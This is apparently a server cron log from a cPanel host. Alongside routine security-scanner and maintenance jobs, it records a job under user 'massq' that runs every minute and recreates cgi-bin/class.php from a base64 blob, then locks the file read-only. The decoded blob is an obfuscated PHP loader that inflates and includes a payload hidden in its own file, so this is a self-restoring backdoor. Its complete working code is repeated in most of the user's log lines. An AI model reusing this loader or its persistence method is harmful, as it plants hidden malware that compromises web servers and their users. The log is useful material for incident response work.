Sep  9 06:50:01 server CROND[9714]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:50:01 server CROND[9713]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 06:50:01 server CROND[9715]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 06:50:01 server CROND[9710]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 06:50:01 server CROND[9711]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 06:51:01 server CROND[10618]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 06:51:01 server CROND[10617]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:51:01 server CROND[10619]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:52:01 server CROND[11032]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:52:01 server CROND[11033]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 06:52:01 server CROND[11034]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:53:01 server CROND[11471]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:53:01 server CROND[11472]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:53:01 server CROND[11473]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 06:54:01 server CROND[11848]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 06:54:01 server CROND[11849]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:54:01 server CROND[11850]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:55:01 server CROND[12323]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 06:55:01 server CROND[12324]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:55:01 server CROND[12325]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:55:01 server CROND[12327]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 06:55:01 server CROND[12326]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 06:55:01 server CROND[12330]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 06:55:01 server CROND[12328]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 06:56:01 server CROND[13176]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:56:01 server CROND[13177]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:56:01 server CROND[13178]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 06:57:01 server CROND[13560]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:57:01 server CROND[13561]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 06:57:01 server CROND[13562]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 06:57:01 server CROND[13563]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:58:01 server CROND[13967]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:58:01 server CROND[13968]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:58:01 server CROND[13969]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 06:59:01 server CROND[14352]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:59:01 server CROND[14353]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 06:59:01 server CROND[14354]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:00:01 server CROND[14840]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 07:00:01 server CROND[14842]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  9 07:00:01 server CROND[14848]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 07:00:01 server CROND[14847]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 07:00:01 server CROND[14849]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:00:01 server CROND[14850]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 07:00:01 server CROND[14846]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:00:01 server CROND[14843]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 07:00:01 server CROND[14845]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 07:01:01 server CROND[15680]: (root) CMD (run-parts /etc/cron.hourly)
Sep  9 07:01:01 server CROND[15681]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 07:01:01 server CROND[15682]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:01:01 server CROND[15683]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:01:01 server run-parts(/etc/cron.hourly)[15680]: starting 0anacron
